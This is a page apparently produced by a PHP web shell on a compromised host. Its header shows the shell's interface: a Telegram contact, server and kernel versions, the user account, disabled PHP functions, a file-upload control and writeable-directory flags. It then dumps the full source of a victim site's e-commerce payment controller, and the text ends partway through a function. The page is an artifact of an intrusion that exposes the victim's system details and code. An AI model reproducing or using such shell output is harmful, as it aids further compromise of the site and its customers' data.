https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/controllers/Payment-old.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Payment extends Public_Controller  {

	private $order_id = NULL;  
	
	function __construct() { 
		parent::__construct();
		$this->load->model('order_m');
		$this->load->model('order_detail_m'); 
		$this->load->model('product_m');
		$this->load->model('configuration_m'); 
		$this->load->library('cart');
	}

	function post_payment() { 
	
		// echo 'pass here...'; exit;

		// if(!$this->session->userdata('shipping_cart')) { 
		// 	redirect('cart');
		// }

		// if(!isset($_POST['lanjutPembayaran'])) {
		// 	redirect('shipping');
		// } 

		//check if user not register yet
		if(!$this->session->userdata('customer') || $this->session->userdata('customer')['customer_id'] == NULL || $this->session->userdata('customer')['customer_type'] == 'guest') { 

			//register new guest and return the id
			//from guest checkout shipping
			//check if email already exist, and check customer type..
			$count_customer  = $this->db->select('id_customers')->from('customers')->where('email', $this->security->xss_clean($this->input->post('email')))->get()->num_rows();

			if($count_customer > 0) {
				//customer already exist
				//check customer type. if customer type is regular, then update shipping information only..
				$guest_data = array(
					'shipping_name' => $this->security->xss_clean($this->input->post('name')),
					'shipping_phone' => $this->security->xss_clean($this->input->post('phone')),
					'shipping_id_province' => $this->input->post('shipping_province'),
					'shipping_id_district' => $this->input->post('shipping_district'),
					'shipping_id_subdistrict' => $this->input->post('shipping_subdistrict'),
					'address' => $this->security->xss_clean($this->input->post('address')),
					'shipping_address' =>$this->security->xss_clean($this->input->post('address')),
					'postcode' => $this->security->xss_clean($this->input->post('postcode')),
					'shipping_postcode' => $this->security->xss_clean($this->input->post('postcode')),
					'birthday' => $this->security->xss_clean($this->input->post('birthday')),
					'sex_type' => $this->security->xss_clean($this->input->post('sex_type'))
				);
				$this->db->where('email', $this->security->xss_clean($this->input->post('email')));
				$this->db->update('customers', $guest_data);

				//get customer id
				$this->db->select('id_customers, name')->from('customers')->where('email', $this->security->xss_clean($this->input->post('email')));
				$customer_data = $this->db->get()->row();
				$customer_name = $customer_data->name;
				$customer_id = $customer_data->id_customers;

				$guest_data = array(
					'customer_name' => ucwords($customer_name),
					'customer_email' => $this->session->userdata('guest_details')['email'],
					'customer_id' => $customer_id,
					'customer_loggedin' => TRUE,
					'customer_type' => 'guest'
				);
				$this->session->set_userdata('customer', $guest_data); 

			} else {
				//customer not yet exist
				//insert new customer
				$guest_data = array(
					'name' => $this->security->xss_clean($this->input->post('name')),
					'recipient_name' => $this->security->xss_clean($this->input->post('name')),
					'shipping_name' => $this->security->xss_clean($this->input->post('name')),
					'email' => $this->security->xss_clean($this->input->post('email')),
					'phone' => $this->security->xss_clean($this->input->post('phone')),
					'shipping_phone' => $this->security->xss_clean($this->input->post('phone')),
					'shipping_id_province' => $this->input->post('shipping_province'),
					'shipping_id_district' => $this->input->post('shipping_district'),
					'shipping_id_subdistrict' => $this->input->post('shipping_subdistrict'),
					'address' => $this->security->xss_clean($this->input->post('address')),
					'shipping_address' => $this->security->xss_clean($this->input->post('address')),
					'postcode' => $this->security->xss_clean($this->input->post('postcode')),
					'shipping_postcode' =>$this->security->xss_clean($this->input->post('postcode')),
					'birthday' => $this->security->xss_clean($this->input->post('birthday')),
					'sex_type' => $this->security->xss_clean($this->input->post('sex_type')),
					'type' => 'guest'
				);
				$this->db->insert('customers', $guest_data);
				$customer_id = $this->db->insert_id();

				$customer_data = array(
					'customer_name' => 'Guest',
					'customer_email' => $this->session->userdata('guest_details')['email'],
					'customer_id' => $customer_id,
					'customer_loggedin' => TRUE,
					'customer_type' => 'guest'
				);
				$this->session->set_userdata('customer', $customer_data);  	
			}

		} elseif($this->session->userdata('customer')['customer_id'] != NULL && $this->session->userdata('customer')['customer_type'] == 'regular') {

			//customer is logged in..
			//update detail
			$customer_data = array(
				'shipping_id_province' => $this->input->post('shipping_province'),
				'shipping_id_district' => $this->input->post('shipping_district'),
				'shipping_id_subdistrict' => $this->input->post('shipping_subdistrict'),
				'address' => $this->security->xss_clean($this->input->post('address')),
				'shipping_address' =>$this->security->xss_clean($this->input->post('address')),
				'postcode' => $this->security->xss_clean($this->input->post('postcode')),
				'shipping_postcode' => $this->security->xss_clean($this->input->post('postcode')),
			);

			//check if shipping_name & shipping_phone empty
			$customer = $this->db->select('name, phone, shipping_name, shipping_phone')->from('customers')->where('id_customers', $this->session->userdata('customer')['customer_id'])->get()->row();

			if(empty($customer->shipping_name)) {
				$customer_data['shipping_name'] = $customer->name;
			}

			if(empty($customer->shipping_phone)) {
				$customer_data['shipping_phone'] = $customer->phone;
			}
			$this->db->where('id_customers', $this->session->userdata('customer')['customer_id']);
			$this->db->update('customers', $customer_data);
		}

		redirect('payment');
	}

	function index() {

		if(!$this->session->userdata('shipping_cart')) {
			redirect('cart');
		}

		if(!$this->session->userdata('shipping_to_payment')) {
			redirect('shipping');
		}
		
		//check shipping_cart if the stock is available for each warehouse
		$have_stock = true;
		
		foreach ($this->session->userdata('shipping_cart') as $rowid => $item) {

			//get product name 
			$product_name = $this->db->select('title')->from('products')->where('id_products', $item['product_id'])->get()->row()->title;

			//get total stok from warehouse
			$current_stock = $this->db->select('stock')->from('stock')->where('id_product', $item['product_id'])->where('id_product_detail', $item['id'])->where('warehouse_id', $item['warehouse_id'])->get()->row()->stock;
			
			if($current_stock < $item['qty']) {

				if($item['is_backorder'] == 'no') {
					$this->session->set_flashdata('no_stock' . $rowid, 'Not Enough Stock');
					$have_stock = false;
				}	
			} 
		}

		if($have_stock == false) {
			redirect('shipping/no_stock');	
		}

		//INSERT NEW ORDERS
		$grand_total = 0;
		foreach ($this->session->userdata('shipping_cart') as $rowid => $item) {
			$grand_total = $grand_total + $item['subtotal'];
		}

		//GET THE VALUE OF INDENT (only for indent item)
		$indent_remaining = 0;
		foreach ($this->session->userdata('shipping_cart') as $rowid => $shipping_cart_item) {

			if($shipping_cart_item['is_backorder'] == 'yes') {
				$indent_remaining = $indent_remaining + (($shipping_cart_item['price'] - $shipping_cart_item['dp_price']) * $shipping_cart_item['qty']);
			}	
		}

		//GET THE VALUE OF INDENT SHIPPING FEE (only for indent item)
		$indent_shipping_fee = 0;
		foreach ($this->session->userdata('shipping_cart') as $rowid => $shipping_cart_item) {

			if($shipping_cart_item['is_backorder'] == 'yes') {
				$indent_shipping_fee = $indent_shipping_fee + $shipping_cart_item['shipping_fee'];
			}	
		}

		//get shipping address, province, district and subdistrict
		$customer_data = $this->db->select('email, shipping_name, shipping_address, shipping_id_province, shipping_id_district, shipping_id_subdistrict, shipping_postcode, shipping_phone, shipping_country,current_pointreward')->from('customers')->where('id_customers', $this->session->userdata('customer')['customer_id'])->get()->row();

		 //get subdistrict, distirct and province name
        $subdistrict = $this->db->select('subdistrict')->from('indonesia_subdistricts')->where('rajaongkir_id_subdistrict', $customer_data->shipping_id_subdistrict)->get()->row()->subdistrict;

        //get district
        $district = $this->db->select('district')->from('indonesia_districts')->where('rajaongkir_id_district', $customer_data->shipping_id_district)->get()->row()->district;
        
        //get province
        $province = $this->db->select('province')->from('indonesia_provinces')->where('rajaongkir_province_id', $customer_data->shipping_id_province)->get()->row()->province;


        $get_grand_total = 0;
		foreach ($this->session->userdata('shipping_cart') as $item){
			$get_grand_total += $item['subtotal'];
		}

		$q_config_cond = $this->db->select('type_cond_prov_free_shipping, cond_more_prov_free_shipping, cond_less_prov_free_shipping')->from('configuration')->where('id_configuration',1)->get()->row();

		$free_shipping_type = 
		$this->db->select('free_shipping_type')
		->from('configuration')
		->where('id_configuration',1)->get()->row()
		->free_shipping_type;

		$condition_freeshipping = false;

		if($free_shipping_type == 'region') {
			$selected_region_province = 
			$this->db->select('*')
			->from('free_shipping_region')
			->where('configuration_id',1)
			->where('province_id',$customer_data->shipping_id_province)
			->get();

			if($selected_region_province->num_rows() > 0){   
				switch ($q_config_cond->type_cond_prov_free_shipping) {
					case 'more_than':
						if ($get_grand_total >= $q_config_cond->cond_more_prov_free_shipping) {
							$condition_freeshipping = true;
						}else{
							$condition_freeshipping = false;
						}
						break;
					case 'less_than':
						if ($get_grand_total <= $q_config_cond->cond_less_prov_free_shipping) {
							$condition_freeshipping = true;
						}else{
							$condition_freeshipping = false;
						}
						break;
					
					default: 
						$condition_freeshipping = true;
						break;
				}
			} 

			// if($selected_region_province->num_rows() > 0){
			// 	$condition_freeshipping = true; 
			// }
		}

		//insert new order to orders table	
		$data = array(
   			'customer_id' => (int) $this->session->userdata('customer')['customer_id'],    
   			'total_amount' => $grand_total,
   			'order_date' => date('Y-m-d H:i:s'),
   			'recipient_name' => $customer_data->shipping_name,
   			'address' => $customer_data->shipping_address,
   			'subdistrict' => $subdistrict,
   			'district' => $district, 
   			'province' => $province,
   			'postcode' => $customer_data->shipping_postcode,
   			'phone' => $customer_data->shipping_phone,
   			'email' => $customer_data->email,
   			'country' => $customer_data->shipping_country,
   			'shipping_fee' => $this->session->userdata('total_shipping_fee'),
   			'free_shipping_fee' => $this->session->userdata('free_shipping'),
   			'created_by' => 'system',
   			'indent_remaining' => $indent_remaining,
   			'indent_shipping_fee' => $indent_shipping_fee
		);

		if($this->session->userdata('site_lang') == 'english') {
			$data['order_language'] = 'english';
		} else {
			$data['order_language'] = 'indonesian';
		}

		//add voucher
		if ($this->session->userdata('chosen_voucher_code')) {
			$data['redeemed_voucher_code'] = $this->session->userdata('chosen_voucher_code');
			$data['redeemed_voucher_type'] = $this->session->userdata('chosen_voucher_type');
			$data['redeemed_voucher_value'] = $this->session->userdata('chosen_voucher_discount');
			$data['redeemed_voucher_amount'] = $this->session->userdata('redeemed_voucher_amount');
		} 

		//add tax
		if($this->session->userdata('tax')) {
			$data['ppn'] = $this->session->userdata('tax');
		}

		//add point rewards
		$pointrewards = $this->db->select('*')->from('point_rewards')->where('id_point_rewards', 1)->get()->row();

		if($this->session->userdata('customer')['customer_type'] != 'guest') {
			if($pointrewards->active == 'yes') {
				$data['plus_reward'] = ceil($grand_total / $pointrewards->ratio);
			}	
		}
		
		//minus point rewards
		if($this->session->userdata('chosen_point')) {
			$data['current_reward'] 		= $customer_data->current_pointreward;
			$data['sisa_reward'] 			= $customer_data->current_pointreward - $this->session->userdata('chosen_point');
			$data['minus_reward'] 			= $this->session->userdata('chosen_point');
			$data['minus_reward_amount']	= $this->session->userdata('chosen_point_discount');
		}

		//GRAND FINAL TOTAL AMOUNT CALCULATION
		$finalshippingfee = 0;

		$calculate_finalshippingfee = $this->session->userdata('total_shipping_fee') - $this->session->userdata('free_shipping');

		if($calculate_finalshippingfee > 0){
			$finalshippingfee = $calculate_finalshippingfee;
		}

		$data['grand_total_amount'] = (($grand_total - $this->session->userdata('redeemed_voucher_amount') - $this->session->userdata('chosen_point_discount')) + ($finalshippingfee)); 

		if($data['grand_total_amount'] <= 0){

			if($finalshippingfee > 0) {
				$data['grand_total_amount'] = $finalshippingfee;
			} 
		}

		//get total downpayment
		$data['total_downpayment'] = $data['grand_total_amount'] - $indent_remaining - $indent_shipping_fee;

		if ($condition_freeshipping == true) {
			$data['grand_total_amount'] = $data['grand_total_amount'] - $data['shipping_fee'] - $data['indent_shipping_fee'];

			$data['total_downpayment'] = $data['total_downpayment'] - $data['shipping_fee'] - $data['indent_shipping_fee'];
			
			$data['shipping_fee'] = 0;
		}

		$this->db->insert('orders', $data);
		$order_id = $this->db->insert_id();

		/*insert shipping session to shipping table*/
		if($this->session->userdata('shipping_session') != null){
			foreach ($this->session->userdata('shipping_session') as $shipping_session) {
				$insert_shipping_session = array(
					'order_id' 		=> $order_id, 
					'warehouse_id' 	=> $shipping_session['warehouse_id'],
					'shipping_fee' 	=> $shipping_session['shipping_fee'],
					'is_indent' 	=> $shipping_session['is_indent'],
				);
				$this->db->insert('shipping',$insert_shipping_session);
			}
		}

		if($this->session->userdata('chosen_point')) {

			//deduct minus_rewards to customer current point rewards..
			//get customer current point reward
			$current_point_reward = $this->db->select('current_pointreward')->from('customers')->where('id_customers', (int) $this->session->userdata('customer')['customer_id'])->get()->row()->current_pointreward;
			$new_point_reward = $current_point_reward - (int) $data['minus_reward'];

			//add new point back to customers table
			$data = array(
				'current_pointreward' => $new_point_reward
			);
			$this->db->where('id_customers', (int) $this->session->userdata('customer')['customer_id']);
			$this->db->update('customers', $data);
		}
		
		//insert new order details to order details table
		foreach ($this->session->userdata('shipping_cart') as $item) {

			$item_data = array(
	   			'orders_id' => $order_id,
	   			'item_id' => (int) $item['id'],
	   			'product_id' => (int) $item['product_id'],
	   			'item_name' => $item['name'],
	   			'item_price' => (int) $item['price'],
	   			'quantity' => (int) $item['qty'],
	   			'subtotal' => (int) $item['subtotal'],
	   			'warehouse_id' => $item['warehouse_id'],
	   			'chosen_shipping_id' => $item['chosen_shipping_id'],	
	   			'shipping_fee' => $item['shipping_fee'],
	   			'is_backorder' => $item['is_backorder'],
	   			'dp_percentage' => $item['dp_percentage'],
	   			'indent_message' => $item['indent_message'],
	   			'is_flashsale' => $item['is_flashsale'],
	   			'attribute_detail_ids' => serialize($item['attribute_detail_ids'])
			);	

			//get SKU
			$item_data['sku'] = $this->db->select('sku')->from('product_details')->where('id', $item['id'])->get()->row()->sku;

			//get Atribute details
			$item_data['attributes'] = '';
			$count = 1;
			foreach ($item['attribute_detail_ids'] as $detail_id) {

				if($this->session->userdata('site_lang') == 'english') {
					$detail_name = $this->db->select('attribute_detail_en')->from('product_attributes_detail')->where('id', $detail_id)->get()->row()->attribute_detail_en;	
				} else {
					$detail_name = $this->db->select('attribute_detail')->from('product_attributes_detail')->where('id', $detail_id)->get()->row()->attribute_detail;	
				}

				if($count  == 1) {
					$item_data['attributes'] = $detail_name;
				} else {
					$item_data['attributes'] = $item_data['attributes'] . ', ' . $detail_name;
				}
				$count++;
			}

			if($item['is_sale'] == TRUE) {
				$item_data['is_sale'] = 'yes';
			} else {
				$item_data['is_sale'] = 'no';
			}			
			$this->order_detail_m->save($item_data, $id = NULL);

			//ONLY FOR FLASHSALE ITEM
			//check if an item is currently in flashsale
			$count_product = $this->db->select('product_id')->from('flashsale_products')->where('flashsale_id', $this->session->userdata('flashsale_id_active'))->where('product_id', $item['product_id'])->get()->num_rows();
			
			if($count_product > 0) {

				//this product is part of flashsale
				$counter_data = $this->db->select('counter, terjual')->from('flashsale_products')->where('flashsale_id', $this->session->userdata('flashsale_id_active'))->where('product_id', $item['product_id'])->get()->row();
				$current_counter = $counter_data->counter;
				$current_terjual = $current_counter->terjual;

				$data = array(
					'counter' => $current_counter - $item['qty'],
					'terjual' => $current_terjual + $item['qty'],
				);
				$this->db->where('flashsale_id', $this->session->userdata('flashsale_id_active'));
				$this->db->where('product_id', $item['product_id']);
				$this->db->update('flashsale_products', $data);

				//update also flashsale customer
				$data = array(
					'customer_id' => $this->session->userdata('customer')['customer_id'],
					'flashsale_id' =>  $this->session->userdata('flashsale_id_active'), 
					'flashsale_product_id' => $item['product_id'], 
					'purchase_qty' => $item['qty']
				);
				$this->db->insert('flashsale_customer', $data);
			}

			//DEDUCT VOUCHERS FROM VOUCHER TABLE
			if ($this->session->userdata('chosen_voucher_code')) {
				
				$qty_ready = $this->db->select('qty_ready')->from('vouchers')->where('voucher_code', $this->session->userdata('chosen_voucher_code'))->get()->row()->qty_ready;

				if ($qty_ready != NULL) {
					$new_qty_ready = $qty_ready - 1;
					$data = array(
						'qty_ready' => $new_qty_ready,
					);
					$this->db->where('voucher_code', $this->session->userdata('chosen_voucher_code'));
					$this->db->update('vouchers', $data); 
				}
			}

			//UPDATE VOUCHER USER TABLE
			//get voucher id
			if ($this->session->userdata('chosen_voucher_code')) {

				$voucher_id = $this->db->select('id_vouchers')->from('vouchers')->where('voucher_code', $this->session->userdata('chosen_voucher_code'))->get()->row()->id_vouchers;

				//check if this voucher already been used before in voucher user table
				$count_voucher = $this->db->select('id_voucher_users')->from('voucher_users')->where('voucher_id', $voucher_id)->where('customer_id', (int) $this->session->userdata('customer')['customer_id'])->get()->num_rows();

				if ($count_voucher == 0) {
					//voucher not exist yet, insert new voucher
					$data = array(
						'voucher_id' => $voucher_id,
						'customer_id' => (int) $this->session->userdata('customer')['customer_id'],
						'voucher_used' => 1,
					);
					$this->db->insert('voucher_users', $data); 

				} else 
				{
					//voucher already exist
					//get current used voucher quantity, and add 1
					$voucher_user = $this->db->select('id_voucher_users, voucher_used')->from('voucher_users')->where('voucher_id', (int) $voucher_id)->where('customer_id', (int) $this->session->userdata('customer')['customer_id'])->get()->row();
					$new_voucher_used = $voucher_user->voucher_used + 1;

					$data = array(
						'voucher_used' => (int) $new_voucher_used,	
					);
					$this->db->where('id_voucher_users', $voucher_user->id_voucher_users);
					$this->db->update('voucher_users', $data); 
				}
			}		
		}		

		//DEDUCT CURRENT STOCK WITH PURCHASE QUANTITY
		foreach ($this->session->userdata('shipping_cart') as $rowid => $item) {

			if($item['is_backorder'] == 'no') {

				//get current stock from stock table
				$current_stock = $this->db->select('id, stock')->from('stock')->where('id_product', (int) $item['product_id'])->where('id_product_detail', (int) $item['id'])->where('warehouse_id', (int) $item['warehouse_id'])->get()->row();
				$new_item_stock = $current_stock->stock - (int) $item['qty'];
				$stock_data = array(
					'stock' => $new_item_stock, 
				);
				//update the product item stock in database
				$this->db->where('id_product', (int) $item['product_id']);
				$this->db->where('id_product_detail', (int) $item['id']);
				$this->db->where('warehouse_id', (int) $item['warehouse_id']);
				$this->db->update('stock', $stock_data);    

				//get $stock_id
				$stock_id = $current_stock->id;

				//update stock_movement_table
				$movement_data = array(
					'stock_id' => $stock_id,
					'type' => '-',
					'stock_change' => (int) $item['qty'],
					'remark' => 'Sales Order No: ' . $order_id
				);
				$this->db->insert('stock_movement', $movement_data);
			}
		}

		$order = $this->db->select('*')->from('orders')->where('id_orders', $order_id)->get()->row();

		$grand_final_total = $order->grand_total_amount - $order->indent_remaining - $order->indent_shipping_fee;

		$finalshippingfee = 0;

		$calculate_finalshippingfee = $order->shipping_fee - $order->free_shipping_fee - $order->indent_shipping_fee;

		if($calculate_finalshippingfee > 0){
			$finalshippingfee = $calculate_finalshippingfee;
		}

		$total_non_shipping = $order->total_amount - $order->redeemed_voucher_amount - $order->minus_reward_amount;

		if($grand_final_total <= 0) {

			if($finalshippingfee <= 0) {

				$this->session->set_userdata('free_order_id',$order_id);

				$update_payment_status = array(
					'payment_type'		=> 'free order',
					'payment_status' 	=> 3, 
					'sisa_kembali'		=> $grand_final_total
				);
				$this->db->where('id_orders',$order_id);
				$this->db->update('orders',$update_payment_status);

				redirect('payment/free_order');
			}
		}

		//LOAD MIDTRANS PAYMENTS IF ACTIVE
		$midtrans_active = $this->db->select('midtrans')->from('configuration')->where('id_configuration', 1)->get()->row()->midtrans;
		
		if($midtrans_active == 1) {

			//load midtrans payment function
			$data = $this->midtrans_processing($order, $order_id, $total_non_shipping, $finalshippingfee, $customer_data, $subdistrict, $district, $province);

			//create midtrans order_id session to be used by response success midtrans page
			$this->session->set_userdata('midtrans_order_id', $order_id);
		}

		//LOAD BANK TRANSFER MANUAL IF ACTIVE
		$bank_active = $this->db->select('bank_transfer, bank_transfer1')->from('configuration')->where('id_configuration', 1)->get()->row();

		$data['bca_is_active'] = $bank_active->bank_transfer;
		$data['mandiri_is_active'] = $bank_active->bank_transfer1;
		$data['order_id'] = $order_id;

		if($this->session->userdata('site_lang') == 'english') {
			$this->lang->load('payment', 'english');
		} else {
			$this->lang->load('payment', 'indonesian'); 
		}
		//load payment view
		$website_name = $this->db->select('website_name')->from('configuration')->where('id_configuration', 1)->get()->row()->website_name;
		$this->data_header['browser_title'] =  ucwords($website_name) . ' - Payment'; 
		$this->data_header['meta_description'] = ucwords($website_name) . ' - Payment';

		$this->load->view("themes/$this->theme_no/header", $this->data_header);
		$this->load->view('payment', $data);
		$this->load->view("themes/$this->theme_no/footer", $this->data_footer); 

		$this->session->unset_userdata('shipping_to_payment');
	}

	private function midtrans_processing($order, $order_id, $total_non_shipping, $finalshippingfee, $customer_data, $subdistrict, $district, $province) 
	{
		require_once APPPATH . 'third_party/Veritrans.php';

		//get key
		$midtrans = $this->db->select('veritrans_server_key, veritrans_sandbox_server_key, veritrans_client_key, veritrans_sandbox_client_key, veritrans_production_mode, credit_card, gopay, permata_va, bni_va, mandiri_bill, akulaku')->from('configuration')->where('id_configuration', 1)->get()->row();

		$production_mode = $midtrans->veritrans_production_mode;

		//Set server key
		if ($production_mode == 'true') {
			Veritrans_Config::$isProduction = true;
			Veritrans_Config::$serverKey = $midtrans->veritrans_server_key;
			$data['client_key'] = $midtrans->veritrans_client_key;
			$data['snap_url'] = 'https://app.midtrans.com/snap/snap.js';
		} else {
			Veritrans_Config::$isProduction = false;
			Veritrans_Config::$serverKey = $midtrans->veritrans_sandbox_server_key;
			$data['client_key'] = $midtrans->veritrans_sandbox_client_key;
			$data['snap_url'] = 'https://app.sandbox.midtrans.com/snap/snap.js';
		}

		// Enable sanitization
		Veritrans_Config::$isSanitized = true; 

		// Enable 3D-Secure
		Veritrans_Config::$is3ds = true;

		// Populate items
		// define a two-dimensional array
		//get order detail
		$order_details = $this->db->select('*')->from('orders_detail')->where('orders_id', $order_id)->get()->result();

		$total_item_price = 0;

		foreach($order_details as $item) {

			//get dp price for indent porduct
			if($item->is_backorder == 'yes') {
				$price = $item->item_price * $item->dp_percentage/100; 
				$name = strip_tags(substr($item->item_name, 0, 48)) . '..Downpayment';
			} else {
				$price = $item->item_price;
				$name = strip_tags(substr($item->item_name, 0, 48)) . '..';
			}

			$items[] = array(
				'id' 		=> $item->product_id,
				'price'		=> (int) $price,
				'quantity'	=> $item->quantity,		
				'name'		=> $name, 
			);	

			$total_item_price = $total_item_price + ($price * $item->quantity);
		}

		//add voucher discount into the item	
		if ($order->redeemed_voucher_amount != NULL) {
			
			if ($order->redeemed_voucher_type == 'amount') {
				//by amount
				//deduct voucher into item, so gross == total items
				$items[] = array(
					'id' 		=> 'voucher',
					'price'		=> -$order->redeemed_voucher_amount,
						'quantity'	=> 1,		
						'name'		=> 'Voucher: ' . $order->redeemed_voucher_code,
					);

				} else {
					//by percentage
					//deduct voucher into item, so gross == total items
					$items[] = array(
						'id' 		=> 'voucher', 
						'price'		=> -$order->redeemed_voucher_amount,
						'quantity'	=> 1,		
						'name'		=> 'Voucher: ' . $order->redeemed_voucher_code,
					);
				}
			}

			//add point rewards discount
			if($order->minus_reward_amount != NULL) {
				$items[] = array(
					'id' 		=> 'pointrewards', 
					'price'		=> -$order->minus_reward_amount,
					'quantity'	=> 1,		
					'name'		=> 'Point Rewards',
				);
			}

			if($finalshippingfee > 0) {

				//add shipping fee into the item
				// $set_shipping_fee = 0;
				// foreach($order_details as $key) { 
				// 	if($key->is_backorder == 'yes') {
				// 		$set_shipping_fee += $key->shipping_fee;
				// 	} else {
				// 		$set_shipping_fee += 0;
				// 	} 
				// }

				$items[] = array(
					'id' 		=> 'shipping',
					'price'		=> $finalshippingfee,
					'quantity'	=> 1,		
					'name'		=> 'Shipping Fee',
				); 

				//add free shipping
				if($order->free_shipping_fee != NULL) {
					$items[] = array(
						'id' 		=> 'freeshipping', 
						'price'		=> -$order->free_shipping_fee,
						'quantity'	=> 1,		
						'name'		=> 'Free Shipping',
					);
				}
			} 

			//add creditcard total fee (transaction fee + admin fee)
			if ($this->session->userdata('chosen_payment_type') == 'veritrans') {
				$items[] = array(
					'id' 		=> 'veritrans_fee', 
					'price'		=> (int) $this->session->userdata('veritrans_total_fee'),
					'quantity'	=> 1,		
					'name'		=> 'Credit Card Admin', 
				);
			}  

			//add virtualaccount total fee (admin fee)
			if ($this->session->userdata('chosen_payment_type') == 'virtualaccount') {
				$items[] = array(
					'id' 		=> 'virtualaccount_fee', 
					'price'		=> (int) $this->session->userdata('virtualaccount_total_fee'),
					'quantity'	=> 1,		
					'name'		=> 'Virtual Account Admin',
				);
			}  

			//add tax 
			if($this->session->userdata('tax')) {
				$items[] = array(
					'id' 		=> 'tax', 
					'price'		=> (int) $this->session->userdata('tax'),
					'quantity'	=> 1,		
					'name'		=> 'Tax',
				);
			}
		
		// Populate customer's billing address
		$billing_address = array(
			'first_name' 		=> $customer_data->shipping_name,
			'last_name' 		=> '',
			'address' 			=> $customer_data->shipping_address,
			'city' 				=> $subdistrict . '. ' . $district . '. ' . $province,
			'postal_code' 		=> $customer_data->shipping_postcode,
			'phone' 			=> $customer_data->shipping_phone,
			'country_code'		=> 'IDN'
			);
		
		// Populate customer's shipping address
		$shipping_address = array(
			'first_name' 		=> $customer_data->shipping_name,
			'last_name' 		=> '',
			'address' 			=> $customer_data->shipping_address,
			'city' 				=> $subdistrict . '. ' . $district . '. ' . $province,
			'postal_code' 		=> $customer_data->shipping_postcode,
			'phone' 			=> $customer_data->shipping_phone,
			'country_code'		=> 'IDN'
			);

		// Populate customer's Info
		$customer_details = array(
			'first_name' 			=> $customer_data->shipping_name,
			'last_name' 			=> '',
			'email' 				=> $customer_data->email,
			'phone' 				=> $customer_data->shipping_phone,
			'billing_address' 		=> $billing_address,
			'shipping_address'		=> $shipping_address
		);

		if($midtrans->credit_card == 1) {

			//MIDTRANS CREDIT CARD
			$transaction_details_cc = array(
				'order_id' 	=> $order_id . '-cc',
				'gross_amount' 	=> (int) $grand_final_total
			);

			$transaction_creditcard = array(
				'enabled_payments' => array('credit_card'), 
				'transaction_details' => $transaction_details_cc,
				'customer_details' => $customer_details,
				'item_details' => $items, 
			);

			// echo '<pre>';
			// print_r($transaction_creditcard);
			// echo '</pre>';

			$data['snapToken_cc'] = Veritrans_Snap::getSnapToken($transaction_creditcard);
		}

		if($midtrans->gopay == 1) {

			//MIDTRANS GOPAY
			$transaction_details_gopay = array(
				'order_id' 	=> $order_id . '-gopay',
				'gross_amount' 	=> (int) $grand_final_total
			);

			$transaction_gopay = array(
				'enabled_payments' => array('gopay'), 
				'transaction_details' => $transaction_details_gopay,
				'customer_details' => $customer_details,
				'item_details' => $items,  
			);

			$data['snapToken_gopay'] = Veritrans_Snap::getSnapToken($transaction_gopay);
		}

		if($midtrans->akulaku == 1) {

			//MIDTRANS AKULAKU
			$transaction_details_akulaku = array(
				'order_id' 	=> $order_id . '-akulaku',
				'gross_amount' 	=> (int) $grand_final_total
			);

			$transaction_akulaku = array(
				'enabled_payments' => array('akulaku'), 
				'transaction_details' => $transaction_details_akulaku,
				'customer_details' => $customer_details,
				'item_details' => $items,  
			);

			$data['snapToken_akulaku'] = Veritrans_Snap::getSnapToken($transaction_akulaku);
		}

		if($midtrans->permata_va == 1) {

			//MIDTRANS PERMATA VA
			$transaction_details_permatava = array(
				'order_id' 	=> $order_id . '-permatava',
				'gross_amount' 	=> (int) $grand_final_total 
			);

			$transaction_permatava = array(
				'enabled_payments' => array('permata_va'), 
				'transaction_details' => $transaction_details_permatava,
				'customer_details' => $customer_details,
				'item_details' => $items,  
			);

			$data['snapToken_permatava'] = Veritrans_Snap::getSnapToken($transaction_permatava);
		}

		if($midtrans->bni_va == 1) {

			//MIDTRANS BNI VA
			$transaction_details_bniva = array(
				'order_id' 	=> $order_id . '-bniva',
				'gross_amount' 	=> (int) $grand_final_total 
			);

			$transaction_bniva = array(
				'enabled_payments' => array('bni_va'), 
				'transaction_details' => $transaction_details_bniva,
				'customer_details' => $customer_details,
				'item_details' => $items,  
			);

			$data['snapToken_bniva'] = Veritrans_Snap::getSnapToken($transaction_bniva);
		}

		if($midtrans->mandiri_bill == 1) {

			//MIDTRANS MANDIRI BILL PAYMENT
			$transaction_details_echannel = array(
				'order_id' 	=> $order_id . '-echannel',
				'gross_amount' 	=> (int) $grand_final_total 
			);

			$transaction_echannel = array(
				'enabled_payments' => array('echannel'), 
				'transaction_details' => $transaction_details_echannel,
				'customer_details' => $customer_details,
				'item_details' => $items,  
			);

			$data['snapToken_echannel'] = Veritrans_Snap::getSnapToken($transaction_echannel);
		}	
		
		$data['order_id'] = $order_id;

		//create midtrans order_id session to be used by response success midtrans page
		$this->session->set_userdata('midtrans_order_id', $order_id);

		return $data;
	}

	public function bank_transfer_processing($bank_name = NULL, $order_id = NULL) {

		if ($bank_name  == NULL && $order_id == NULL) { 
			redirect('shipping');
		} 
		
		$this->order_id = $order_id; 
 		
		$order = $this->db->select('*')->from('orders')->where('id_orders', $order_id)->get()->row();

		//get order detail
		$order_details = $this->db->select('*')->from('orders_detail')->where('orders_id', $order_id)->get()->result();

		//get customer district / city name
		$customer_data = $this->db->select('name, email, phone, shipping_address, shipping_id_district, shipping_id_subdistrict, shipping_id_province')->from('customers')->where('id_customers', (int) $this->session->userdata('customer')['customer_id'])->get()->row();

		//get subdistrict, distirct and province name
        $subdistrict = $this->db->select('subdistrict')->from('indonesia_subdistricts')->where('rajaongkir_id_subdistrict', $customer_data->shipping_id_subdistrict)->get()->row()->subdistrict;

        //get district
        $district = $this->db->select('district')->from('indonesia_districts')->where('rajaongkir_id_district', $customer_data->shipping_id_district)->get()->row()->district;

        //get province
